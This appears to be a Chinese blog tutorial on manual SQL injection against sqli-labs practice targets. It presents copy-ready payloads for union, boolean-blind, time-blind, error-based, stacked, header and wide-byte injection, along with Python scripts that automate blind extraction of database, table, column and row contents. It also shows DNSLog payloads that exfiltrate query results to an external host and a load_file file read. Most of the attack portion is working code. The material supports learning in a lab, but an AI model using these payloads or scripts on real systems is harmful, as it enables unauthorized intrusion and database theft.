二、sql手工注入

一、SQL注入的本质

解释:想要进行sql注入,肯定要发现注入点,一般简单的sql注入通过下面两种方式判断就能发现是否存在sql注入漏洞

1.字符型

注意:字符型注入可能为'"
查询语句:

select * from student where id='5';

字符型注入

例子1:

select * from student where id='5'';

分析:观察字符型注入的例子,你输入的内容5',自己输入的'提前把语句闭合,此时会造成该sql语句错误,此时应该观察页面是否报错或不显示或者出现其它情况,如果有可能存在注入点

例子2:

select * from student where id='5' -- ';

分析:观察字符型注入的例子,你输入的内容5' -- 相当于将最后的'闭合掉,然后自己构造了一个,如果此时回显正常(我们构造的语句为正常语句)此时有必要去怀疑一下此处是注入点(不一定是)

特殊情况:

SELECT * FROM course WHERE Cno=(((('4'))));
-- 这种情况简单的字符或者数字注入可能会有一些问题(CTF可能会这么搞)

2.数字型

查询语句:

select * from student where id=5;

数字注入
例子1:

select * from student where id=1';

分析:此时相当于你输入',sql可能会出现错误,此时应该观察页面是否报错或不显示或者出现其它情况,如果有可能存在注入点

例子2:

select * from student where id=1 and 1=2;

分析:上面内容用户输入为1 and 1=2,在此语句下and表示并列左右语句都要满足,因为1=2导致and一定返回false,所以这条语句肯定不能回显出其正确答案,以此可以判断出是否存在数字型注入 (但这种注入仅限存在回显的情况下,不存在的情况肯定要另加讨论)

二、SQL注入测试方法

1.布尔盲注

解释:布尔盲注适用于界面有变化的情况,即数据在某些条件下显示或者不显示,或者数据发生变化,其实上面介绍字符型注入和数字型注入的时候就用到了

简单例子-查询语句:

select * from student where id='5';

简单例子-字符型注入

select * from student where id='' and 1=2 -- ';

解释:其就是通过and后面的语句来构造,但是要保证and前面的一定要为true,否则后面的内容验证也就失去了意义,注入时也要根据具体情况来构造,比如验证账号密码就不能使用' and 1=2 --+(因为你可能不知道账号是什么,就是and前面的内容很可能是错的,但是登录需要账号密码都正确,这时用' or 1=1 --+或许能够有效解决问题)

简单例子-应用实例:

//判断是否是 Mysql数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from information_schema.tables) --+
//判断是否是 access数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) --+
//判断是否是 Sqlserver数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) --+

2.时间盲注

解释:时间盲注的意思,在布尔盲注失效,即页面无论怎么样注入都不存在回显的情况下,可能就需要用到时间盲注了,其原理就是,如果存在注入点,就执行睡眠函数,让页面去进行等待,以次去观察页面反应时间,如果页面大概等待了指定时间才返回值可能就存在时间盲注

查询语句:

select * from student where id='5';

字符型注入

select * from student where id='' and sleep(5) -- ';

解释:上诉问题就是在页面没有内容回显的情况下进行的,当存在该注入点的时候,页面会睡眠5秒以上才会响应,这就是证明存在该注入点,可能通过类似此的方法来便利获取服务器的数据

3.报错注入

解释:这种注入是一种显示注入,但仅限页面出现报错,或者服务器返回相应码为500或其它异常情况使用,一般这种注入方式存在于CTF题目当中(报错会显示数据库内容,不报错不显示),现实案例很少

select * from mysql where id=1'
-- 提醒我们要用')来闭合
Issue with your mysql: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''admin '') LIMIT 0,1' at line 1
-- 提醒我们要用'))来闭合
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''));
SELECT * FROM course WHERE Cno=(('1')) UNION SELECT 1,2,3,4 FROM dwauds -- '));
-- 下面的报错,让我们知道库名为jack
Table 'jack.dwauds' doesn't exist

4.堆叠注入

解释: 堆叠注入相当于程序执行了两条语句,第二句语句是攻击者构造的相当具有威胁性;
查询语句:

select * from student where id='5';

字符型注入

select * from student where id='5';show tables;
select * from student where id='5';SHOW COLUMNS FROM `course`;-- 表名要加反引号
select * from student where id='5';HANDLER `course` OPEN AS `a`;HANDLER `a` READ NEXT;
-- handler创建一个表(course)的对象叫做a
-- 第二句会从表(course)第一行开始执行一次读取下一行一次

注意: 堆叠注入的局限性很强,并不是每一个环境下都可以执行,但是一但能用利用很容易很有效

5.消息头注入

解释:消息头注入是什么呢?简单来说,就是在消息头(下例)里面加入测试内容,观察服务器反应,一般常用的注入点有:User-Agent(服务器可以执行sql语句读取此信息将其写入数据)cookie(服务器一般会读取cookie去分辨用户,自然也会读取数据库进行用户比对)Referer(其表示从哪个网址跳来,服务器也经常统计此数据,将其写入数据库来分析用户的来源)X-Forwarded-For(用户最原始的ip地址,服务器常以此统计用户ip,自然也会写入,或与数据库已经有的进行比对)

下例(Cookie注入):

GET /Less-20/index.php HTTP/1.1
Host: localhost
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Referer: http://localhost/Less-20/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: uname=1' AND (SELECT EXTRACTVALUE(1,CONCAT('~',DATABASE()))) --+
Connection: close

6.约束注入

解释:约束注入注入指的是在数据库设置为非严格模式,以及数据某字段没有索引设置为UNIQUE时,产生的插入数据重复的问题,可能会产生越权问题

例如:A表里面的user字段最大长度为10,此时数据库设置为非严格模式,user字段没有设置UNIQUE,
此时执行insert into A(user) values('admin                                x');就会导致数据库只读取前10个字符,导致admin值被插入进去,此时可能导致数据库里面有两个admin账号,产生越权(最后加x是因为如果admin后面全是空格insert的时候会被自动删除)
预防:
①当设置数据库为严格模式
(SQL 模式中包含STRICT_TRANS_TABLES或STRICT_ALL_TABLES(SELECT @@sql_mode;)可查看)
此时插入超过10个字符会报错字符串太长无法插入
②当user索引设置上unique时,插入会提示字段重复

7.宽字节注入

解释:宽字节注入指的是 mysql 数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),这样才能到达汉字的范围),双字节的工作原理:当第一个字节的范围为0x81-0xFE其才会去尝试识别第二个字节并且第二个字节的范围为0x40-0xFE,才会将它们拼接在一起,组合成一个汉字

使用情景:当遇到mysql对'也就是单引号进行转义的时候,我们可以采取宽字节注入,例如我们注入',单引号会变成\'导致我们的单引号无法完成闭合,但是当我们注入%df'因为此时mysql在GBK编码同时由于过滤机制会自动给'前面添加上\也就是%5c此时我们的结果变为了%df%5c'也就是運'此时单引号过滤就失效了

注意:%df并非强制使用,只需要其转换过来的ascii大于128即可,范围0x81~0xFE,例如%81 %fe

8.DNSLog注入

网站:http://dnslog.cn/

原理:'\\'代表Microsoft Windows通用命名约定(UNC)的文件和目录路径格式利用任何以下扩展存储程序引发DNS地址解析。双斜杠表示网络资源路径多加两个\就是转义了反斜杠。

利用思路:当我们遇到下面三种情况时,可以考虑此方法,如果目标可以发送DNS请求,则可以通过DNS log方式将想获得的数据外带出来

  1. 服务器部署在Window系统上
  2. SQL盲注
  3. 无回显的命令执行
  4. 无回显的SSRF

利用:
在上述网址申请一个临时子域名,并把子域名替换到下面代码里的对应位置
在这里插入图片描述

# 下面我们可以看到服务器把内容回显到了DNS Query Record上面,通过这样的方法我们可以获取到服务器中不回显的信息
id=1' and load_file(concat('\\\\',(select database()),'.bk4rtj.dnslog.cn\\abc')) --+
id=1'; load_file(concat('\\\\',(select database()),'.bk4rtj.dnslog.cn\\abc'));

在这里插入图片描述

三、SQL权限

解释:当我们发现注入点之后要先查询一下数据库的权限,因为如果数据库的权限为root时,权限很
大,此时root权限能够被利用

SELECT UserId from users WHERE UserId=5 UNION SELECT USER();

1.任意文件读取

SELECT UserId from users WHERE UserId=5 UNION SELECT load_file("/var/www/html/index.html");

四、SQL暴库方法

前提:此时已经找到了注入点,正在准备执行任意sql命令

1.联合注入

获取列数
解释:只有我们知道当前的列数,后面才能让我们执行联合查询语句

sql:SELECT * FROM course WHERE Cno='1' ORDER BY 5 -- ';

快速利用:

  • 1' ORDER BY 5 --+'
  • 1' ORDER BY 5 -- '
    知识点:如上使用order by语句,当order by nn小于当前表的列数不会报错,大于当前表的列数就会报错,显示在程序页面可能显示为数据消失或者异常

解释:通过发现注入点,想要执行我们的sql语句就要用到联合注入

简单执行:SELECT * FROM course WHERE Cno='-1' UNION SELECT 1,2,3,4 -- ';

常用函数:

名称功能
database()当前数据库名字
user()当前用户的名字
@@version_compile_os操作系统版本
@@datadir数据库的路径
version()mysql的版本号

简单例子:SELECT * FROM course WHERE Cno='-1' UNION SELECT @@datadir,USER(),DATABASE(),@@version_compile_os -- ';

1.1 获取数据库信息

  • 解释:当知道了有哪些数据库才能开始从该数据库获取信息
  • 构造后语句:
    SELECT * FROM course 
    WHERE Cno='-1' 
    UNION SELECT 1,2,3,GROUP_CONCAT(schema_name) 
    FROM information_schema.schemata -- ';
    
  • GROUP_CONCAT(schema_name) 其相当于把内容显示在一行里面,因为在select里面只有1,2,3,4个位置,如果很多数据,无法按普通命令展示
  • 普通命令:SELECT schema_name FROM information_schema.schemata;
  • 原理:information_schemaschemata表里面放着所有数据库信息
  • 快速利用:
    • -1' UNION SELECT 1,2,3,GROUP_CONCAT(schema_name) FROM information_schema.schemata --+'
    • -1' UNION SELECT 1,2,3,GROUP_CONCAT(schema_name) FROM information_schema.schemata -- '

1.2 获取表信息

  • 解释:当知道了有哪些表才能开始从该表获取信息
  • 构造后语句:
    SELECT * FROM course WHERE Cno='-1' 
    UNION SELECT 1,2,3,GROUP_CONCAT(table_name) 
    FROM information_schema.tables 
    WHERE table_schema=DATABASE() -- ';
    
  • GROUP_CONCAT(table_name) 其相当于把内容显示在一行里面,因为在select里面只有1,2,3,4个位置,如果很多数据,无法按普通命令展示
  • 普通命令:SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE();
  • 原理:information_schematables表里面放着所有数据的表单
  • 快速利用:
    • 1' UNION SELECT 1,2,3,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() --+'
    • 1' UNION SELECT 1,2,3,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() -- '

1.3 获取表字段信息

  • 解释:当知道了表里面有哪些字段才能开始从该表获取信息,当然有人可能说知道表名直接使用select *但是由于使用union的联合查询受到诸多限制,这样使用并不现实
  • 构造后语句:
    SELECT * FROM course WHERE Cno='-1' 
    UNION SELECT 1,2,3,GROUP_CONCAT(column_name) 
    FROM information_schema.columns 
    WHERE table_name='course' -- ';
    
  • GROUP_CONCAT(column_name) 其相当于把内容显示在一行里面,因为在select里面只有1,2,3,4个位置,如果很多数据,无法按普通命令展示
  • 普通命令:SELECT column_name FROM information_schema.columns WHERE table_name='course';
  • 原理:information_schemacolumns 表里面放着所有数据的表单
  • 快速利用:
    • -1' UNION SELECT 1,2,3,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='course' --+'
    • -1' UNION SELECT 1,2,3,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='course' -- '

1.4 获取数据

构造命令:

SELECT * FROM course WHERE Cno='-1' 
UNION SELECT 1,2,3,GROUP_CONCAT(Cname) FROM course -- ';

普通命令:

SELECT Cname FROM course;

2.布尔注入

下面的python代码环境来自sqli-labs的Less-8

解释:上面的例子里面已经介绍了布尔盲注的测试方法,同时还介绍了联合注入,但是可能存在一种情况,对方WAF过滤了union字段,那么我们根本就无法使用联合注入,那我们只能使用下面介绍的布尔注入

2.1 获取数据库的信息

1. 获取数据库的长度

-- 执行LENGTH(DATABASE())>2发现返回正常
SELECT * FROM course WHERE Cno='1' AND LENGTH(DATABASE())>2 -- ';
-- 执行LENGTH(DATABASE())>3发现返回不正常,证明数据库长度就是3
SELECT * FROM course WHERE Cno='1' AND LENGTH(DATABASE())>3 -- ';
import requests

url = 'http://localhost:801/Less-8/'

n = 1

for i in range(1, 20):
    sql_payloads = f"1' and length(database())>{i} -- "
    params = {'id': sql_payloads}
    response = requests.get(url=url, params=params)
    response = response.text
    if 'You are in...........' in response:
        n += 1
    else:
        print(f'数据库长度:{n}')
        break

2. 获得当前数据库的名字

函数:

  1. ASCII(a):获取a对应的ascii数值(ascii范围0-127)
  2. SUBSTR(DATABASE(),1,1):截取内容,第一个字段表示字符串,第二个参数表示截取从第几个开始,第三个参数表示截取截取的长度(注意substr(str,1,1) -- 第二个参数从1开始,也就是说sql下标从1开始)
暴力破解数据库第一个字母
-- 执行ASCII(SUBSTR(DATABASE(),1,1))>102发现返回正常
SELECT * FROM course WHERE Cno='1' AND ASCII(SUBSTR(DATABASE(),1,1))>102 -- ';
-- 执行ASCII(SUBSTR(DATABASE(),1,1))>103发现返回不正常,证明数据库第一个字对应的ascill是103由此可以知道其为g
SELECT * FROM course WHERE Cno='1' AND ASCII(SUBSTR(DATABASE(),1,1))>103 -- ';
暴力破解数据库第二个字母
SELECT * FROM course WHERE Cno='1' AND ASCII(SUBSTR(DATABASE(),2,1))>103 -- ';
暴力破解数据库第三个字母
SELECT * FROM course WHERE Cno='1' AND ASCII(SUBSTR(DATABASE(),3,1))>103 -- ';
import requests

url = 'http://localhost:801/Less-8/'
str = ''
for i in range(1, 9):
    n = 0
    for j in range(0, 128):
        sql_payloads = f"1' and ascii(substr(database(),{i},1))>{j} -- "
        params = {'id': sql_payloads}
        response = requests.get(url=url, params=params)
        response = response.text
        if 'You are in...........' in response:
            n += 1
        else:
            print(f'第{i}个字母为:{chr(n)}')
            str += chr(n)
            break
print(str)

2.2 获取表的信息

函数:

  1. limit x,y:表示限制返回内容的行数,表示从x+1行开始,返回y

1. 获取查询当前数据库的有几个表

-- 查询当前数据库里面拥有的表单是否大于3(解释专用)
SELECT * FROM course 
WHERE Cno='1' 
AND (SELECT COUNT(table_name) FROM information_schema.tables 
WHERE table_schema=DATABASE())>3 -- ';
-- 查询当前数据库里面拥有的表单是否大于3(复制专用)
1' AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE())>3 -- ';
import requests

url = 'http://localhost:801/Less-8/'
n = 1
for i in range(1, 20):

    sql_payloads = f"1' AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE())>{i} -- "

    params = {'id': sql_payloads}
    response = requests.get(url=url, params=params)
    response = response.text
    if 'You are in...........' in response:
        n += 1
    else:
        print(f'一共有:{n}个表')
        break

2. 获取查询当前数据库第n个表的长度

-- 第一个表单长度(解释专用)
SELECT * FROM course 
WHERE Cno='1' 
AND LENGTH((SELECT table_name FROM information_schema.tables 
WHERE table_schema=DATABASE() LIMIT 0,1))>2 -- ';
-- 第一个表单长度(复制专用)
1' AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1))>2 -- ';
import requests

url = 'http://localhost:801/Less-8/'

table_name_list = []
for i in range(0, 4):
    n = 0
    for j in range(0, 30):

        sql_payloads = f"1' AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT {i},1))>{j} -- "

        params = {'id': sql_payloads}
        response = requests.get(url=url, params=params)
        response = response.text
        if 'You are in...........' in response:
            n += 1
        else:
            print(f'{n}')
            table_name_list.append(n)
            break
print(table_name_list)

3. 获取查询当前数据库的所有表的名字各是什么

-- 第一个表单的第一个字母(解释专用)
SELECT * FROM course 
WHERE Cno='1' 
AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables 
WHERE table_schema=DATABASE() LIMIT 0,1),1,1))>103 -- ';
-- 第一个表单的第一个字母(复制专用)
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1))>103 -- ';
import requests

url = 'http://localhost:801/Less-8/'

table_name_list = []


# 使用二分法,速度较快
def binary_search(sql_payloads):
    n = 128
    low = 0
    high = n - 1
    # 1 mid = 63 通过 low=64 high=127
    # 2 mid = 95 不通过 low=64 high=94
    # 3 mid = 79 通过 low = 80 high=94
    # 4 mid = 87 通过 low = 88 high=94
    # 5 mid = 91 通过 low = 92 high=94
    # 6 mid = 93 通过 low = 94 high = 94
    n = sql_payloads
    while low <= high:
        sql_payloads = n
        mid = (low + high) // 2
        sql_payloads += f"{mid} -- "
        params = {'id': sql_payloads}

        response = requests.get(url=url, params=params)
        response = response.text
        # 表示满足条件
        if 'You are in...........' in response:
            low = mid + 1
        else:
            high = mid - 1

    return low


for i in range(0, 4):
    n = 0
    for j in range(0, 30):
        sql_payloads = f"1' AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT {i},1))>{j} -- "
        params = {'id': sql_payloads}
        response = requests.get(url=url, params=params)
        response = response.text
        if 'You are in...........' in response:
            n += 1
        else:
            table_name_list.append(n)
            break
print(table_name_list)

for key, i in enumerate(table_name_list):
    str = ''
    for j in range(1, i + 1):
        sql_payloads = f"1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT {key},1),{j},1))>"

        n = binary_search(sql_payloads)
        str += chr(n)

    print(str)

2.3 获取表的字段信息

1. 获取某表有几个字段

-- (解释专用)
SELECT * FROM course 
WHERE Cno='1' 
AND (SELECT COUNT(column_name) FROM information_schema.columns 
WHERE table_schema=DATABASE() AND table_name='course')>3 -- ';
-- (复制专用)
1' AND (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='course')>3 -- ';
import requests

url = 'http://localhost:801/Less-8/'

n = 1
for i in range(1, 20):

    sql_payloads = f"1' AND (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='users')>{i} -- "
    params = {'id': sql_payloads}
    response = requests.get(url=url, params=params)
    response = response.text
    if 'You are in...........' in response:
        n += 1
    else:
        print(n)
        break

2. 获取某表各字段的长度

-- (解释专用)
SELECT * FROM course 
WHERE Cno='1' 
AND LENGTH((SELECT column_name FROM information_schema.columns 
WHERE table_schema=DATABASE() AND table_name='course' LIMIT 0,1))>3  -- ';
-- (复制专用)
1' AND LENGTH((SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='course' LIMIT 0,1))>3  -- ';
import requests

url = 'http://localhost:801/Less-8/'

# 已知email表字段有两个

for i in range(0, 2):
    n = 1
    for j in range(1, 100):
        sql_payloads = f"1' AND LENGTH((SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='emails' LIMIT {i},1))>{j} -- "
        params = {'id': sql_payloads}
        response = requests.get(url=url, params=params)
        response = response.text
        if 'You are in...........' in response:
            n += 1
        else:
            print(n)
            break

3. 获取某表各字段的内容

-- (解释专用)
SELECT * FROM course 
WHERE Cno='1' 
AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns 
WHERE table_schema=DATABASE() AND table_name='course' LIMIT 0,1),0,1))>50  -- ';
-- (复制专用)
1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='course' LIMIT 0,1),0,1))>50  -- ';
import requests

url = 'http://localhost:801/Less-8/'


# 使用二分法,速度较快
def binary_search(sql_payloads):
    n = 128
    low = 0
    high = n - 1
    # 1 mid = 63 通过 low=64 high=127
    # 2 mid = 95 不通过 low=64 high=94
    # 3 mid = 79 通过 low = 80 high=94
    # 4 mid = 87 通过 low = 88 high=94
    # 5 mid = 91 通过 low = 92 high=94
    # 6 mid = 93 通过 low = 94 high = 94
    n = sql_payloads
    while low <= high:
        sql_payloads = n
        mid = (low + high) // 2
        sql_payloads += f"{mid} -- "
        params = {'id': sql_payloads}

        response = requests.get(url=url, params=params)
        response = response.text
        # 表示满足条件
        if 'You are in...........' in response:
            low = mid + 1
        else:
            high = mid - 1

    return low


# 目前已知email表第一个字段长度为2,第二个字段长度为8
list_g = [2, 8]

for key, i in enumerate(list_g):
    str = ''
    for j in range(1, i+1):
        sql_payloads = f"1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='emails' LIMIT {key},1),{j},1))>"
        n = binary_search(sql_payloads)
        str += chr(n)
    print(str)

2.4 获取数据

解释:到这步骤时,肯定已知了数据库名和表,以及其字段内容,下面目的就是获得数据的内容

1.获取某表里面有多少行

-- (解释专用)
SELECT * FROM course 
WHERE Cno='1' 
AND (SELECT COUNT(*) FROM course)>8  -- ';
-- (复制专用)
1' AND (SELECT COUNT(*) FROM course)>8  -- ';
import requests

url = 'http://localhost:801/Less-8/'
n = 0

for i in range(0, 9999999999999):
    sql_payloads = f"1' AND (SELECT COUNT(*) FROM emails)>{i}  -- "
    params = {'id': sql_payloads}
    response = requests.get(url=url, params=params)
    response = response.text
    if 'You are in...........' in response:
        n += 1
    else:
        print(n)
        break

2.获取某表第一行内容的长度

-- 所有内容将挤满一行(解释专用)
SELECT * FROM course 
WHERE Cno='1' 
AND LENGTH((SELECT GROUP_CONCAT(Cno, Cname) FROM course))>20 -- ';
-- (复制专用)
1' AND LENGTH((SELECT GROUP_CONCAT(Cno, Cname) FROM course))>20 -- ';
import requests

url = 'http://localhost:801/Less-8/'

# 已知数据只有8行
# 这里不去查询行数也可以
n = 0
for i in range(0, 999999999999999999999999):
    sql_payloads = f"1' AND LENGTH((SELECT GROUP_CONCAT(id, email_id) FROM emails))>{i} -- "
    params = {'id': sql_payloads}
    response = requests.get(url=url, params=params)
    response = response.text
    if 'You are in...........' in response:
        n += 1
    else:
        print(n)
        break

3.获取某表的内容

-- (解释专用)
SELECT * FROM course 
WHERE Cno='1' 
AND ASCII(SUBSTR((SELECT GROUP_CONCAT(Cno, Cname) FROM course),1,1))>100  -- ';
-- (复制专用)
1' AND ASCII(SUBSTR((SELECT GROUP_CONCAT(Cno, Cname) FROM course),1,1))>100  -- ';
import requests

url = 'http://localhost:801/Less-8/'


# 已知数据总长度165
# 使用二分法,速度较快
def binary_search(sql_payloads):
    n = 128
    low = 0
    high = n - 1
    # 1 mid = 63 通过 low=64 high=127
    # 2 mid = 95 不通过 low=64 high=94
    # 3 mid = 79 通过 low = 80 high=94
    # 4 mid = 87 通过 low = 88 high=94
    # 5 mid = 91 通过 low = 92 high=94
    # 6 mid = 93 通过 low = 94 high = 94
    n = sql_payloads
    while low <= high:
        sql_payloads = n
        mid = (low + high) // 2
        sql_payloads += f"{mid} -- "
        params = {'id': sql_payloads}

        response = requests.get(url=url, params=params)
        response = response.text
        # 表示满足条件
        if 'You are in...........' in response:
            low = mid + 1
        else:
            high = mid - 1

    return low


str = ''
for i in range(1, 166):
    sql_payloads = f"1' AND ASCII(SUBSTR((SELECT GROUP_CONCAT(id, email_id) FROM emails),{i},1))>"
    n = binary_search(sql_payloads)
    str += chr(n)
    print(str)

3.报错注入

解释:发现报错注入的显示报错点,可以用此进行爆库,下面介绍常用的报错函数,以及暴库方法(暴库还是要结合联合查询里面的知识)(下面图示有详细报错注入函数可自行查阅资料尝试)

在这里插入图片描述
1.extractvalue
解释:属于XPath报错,适用于5.1之后的版本,返回内容最大值为32,函数用途是在html文档中用标签查找元素,但是报错信息会泄露用户执行的内容

语法:extractvalue(XML_document, XPath_String)

SELECT * from users WHERE UserId=1 and (SELECT EXTRACTVALUE(1,CONCAT('~',DATABASE())));

-- XPATH syntax error: '~jack'

payload:
1' AND (SELECT EXTRACTVALUE(1,CONCAT('~',DATABASE()))) --+
1' AND (SELECT EXTRACTVALUE(1,CONCAT('~',DATABASE()))) #

2.updatexml
解释:属于XPath报错,适用于5.1之后的版本,返回内容最大值为32,函数用途是改变文档中符合条件的数值,但是报错信息会泄露用户执行的内容

语法:updatexml(XML_document, XPath_String, New_Value)


SELECT * from users WHERE UserId=1 and (SELECT UPDATEXML(1,CONCAT('~',DATABASE()),1));
-- XPATH syntax error: '~jack'

payload:
1' AND (SELECT UPDATEXML(1,CONCAT('~',DATABASE()),1)) --+
1' AND (SELECT UPDATEXML(1,CONCAT('~',DATABASE()),1)) #

3.floor

  • floor(x):对参数x向下取整;
  • rand():生成一个0~1之间的随机浮点数;
  • count(*):统计某个表下总共有多少条记录;
  • group by x:按照(by)一定的规则(x)进行分组;

报错原理:floor()函数与group by xrand()联用时,如果临时表中没有该主键,则在插入前会再计算一次rand(),然后再由group by x将计算出来的主键直接插入到临时表格中,导致主键重复报错,错误信息如:Duplicate entry ‘…’ for key ‘<group_key>’

注意:mysql8.x版本目测没有这个问题

SELECT 1 FROM (SELECT COUNT(*),CONCAT((USER()),FLOOR(RAND(0)*2))X FROM information_schema.tables GROUP BY X)a
-- Duplicate entry 'root@localhost1' for key '<group_key>'

payload:
# 注意下面这个用到了union,注入order by的数目,下例为3
1' union select 1,count(*),CONCAT((USER()),FLOOR(RAND(0)*2))x from users group by x --+ --+
1' union select 1,count(*),CONCAT((USER()),FLOOR(RAND(0)*2))x from users group by x --+ #

3.1 获取数据库信息

SELECT * FROM sc WHERE Cno=1 AND (EXTRACTVALUE(1,CONCAT('~',(SELECT GROUP_CONCAT(table_name)
FROM information_schema.tables)))) --

-- XPATH syntax error: '~mysql,information_schema,perfor'
-- 这样只能获取前32长度,可能获取不全


SELECT * FROM sc WHERE Cno=1 AND (EXTRACTVALUE(1,CONCAT('~',SUBSTR((SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata),32,32)))) --

-- 这样只能获取32-64长度,可能获取不全

SELECT * FROM sc WHERE Cno=1 AND (EXTRACTVALUE(1,CONCAT('~',SUBSTR((SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata),64,32))));

-- 这样只能获取64-96长度,可能获取不全

3.2 获取表信息

SELECT * FROM sc WHERE Cno=1 AND (EXTRACTVALUE(1,CONCAT('~',(SELECT GROUP_CONCAT(table_name)
FROM information_schema.tables))));

-- XPATH syntax error: '~xx,2,coe2'

-- 这样只能获取前32长度,可能获取不全


SELECT * FROM sc WHERE Cno=1 AND (EXTRACTVALUE(1,CONCAT('~',SUBSTR((SELECT GROUP_CONCAT(table_name)
FROM information_schema.tables WHERE table_schema='xx'),32,32))));

-- 这样只能获取32-64长度,可能获取不全

3.3 获取表字段信息

SELECT * FROM sc WHERE Cno=1 AND (EXTRACTVALUE(1,CONCAT('~',(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='course'))));

-- XPATH syntax error: '~C,me,o,t'
-- 这样只能获取前32长度,可能获取不全
-- 长度过长用substr
SELECT * from sc WHERE Cno=1 AND (EXTRACTVALUE(1,CONCAT('~',(SELECT SUBSTR(GROUP_CONCAT(column_name),32,64) FROM information_schema.columns WHERE table_name='users'))));

3.4 获取数据

SELECT * FROM sc WHERE Cno=1 AND (EXTRACTVALUE(1,CONCAT('~',(SELECT GROUP_CONCAT(Cno)  FROM course))));

-- XPATH syntax error: '~1,2,3,4,5,6,7,8,9'
-- 这样只能获取前32长度,可能获取不全
-- 长度过长用substr
SELECT * FROM sc WHERE Cno=1 AND (EXTRACTVALUE(1,CONCAT('~',(SELECT SUBSTR(GROUP_CONCAT(Cno),1,32)  FROM course))));

4.时间盲注

解释:时间盲注暴库需要具备布尔盲注的基本知识,适用情况:发现位置可能存在注入点,但是普通测试发现页面没有任何反应,此时可能存在时间盲注,确认出现时间盲注后,可用时间盲注知识,写python脚本去暴库(时间盲注暴库相当费时间),下面就不再从爆库暴表爆列开始了,基本上与联合注入知识、布尔盲注知识重复性很高,主要看一下python脚本怎么实现

环境:sql-labs的Less-9

思路1:

SELECT * FROM emails WHERE id=1 AND xxxxxxxx AND SLEEP(5) -- ';
-- 发现注入点之后,当xxxxxx成立时才会执行SLEEP(5),所以我们可以在xxxxxx处去执行代码,然后用布尔盲注的思路去整就ok

思路2:

-- IF(condition, value_if_true, value_if_false)
-- condition 是一个条件表达式,如果为真,将返回 value_if_true ,否则返回 value_if_false 。
-- value_if_true 是在条件为真时要返回的值。
-- value_if_false 是在条件为假时要返回的值。
SELECT * FROM emails WHERE id=1 union select 1,if(column3 > 10, sleep(5), 1) -- ';
-- 发现注入点之后,当column3 > 10成立时才会执行SLEEP(5),否则返回1,所以我们可以在column3 > 10处去执行代码,然后用布尔盲注的思路去整就ok
例如:
SELECT * FROM emails WHERE id=1 
UNION SELECT 
1,IF(ASCII(SUBSTR((SELECT GROUP_CONCAT(id, email_id) FROM emails),1,1))>49, SLEEP(2),1);

思路三

http://localhost/Less-9/?id=1' and if((substr('1',1,1)='2'),sleep(2),1) --+
import time
import requests
# 采用思路1
# 该脚本写的很简单,只对emails数据进行获取
# 166是email表所有字段总长度,将其当已知条件
str = ''
for i in range(1, 166):
    for j in range(128):
        url = f"http://localhost:801/Less-9/?id=2' AND ASCII(SUBSTR((SELECT GROUP_CONCAT(id, email_id) FROM emails),{i},1))<{j} and sleep(2) -- "
        atime = time.time()
        response = requests.get(url)
        btime = time.time()
        if btime - atime > 2:
            str += chr(j-1)
            print(str)
            break
  • 17
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值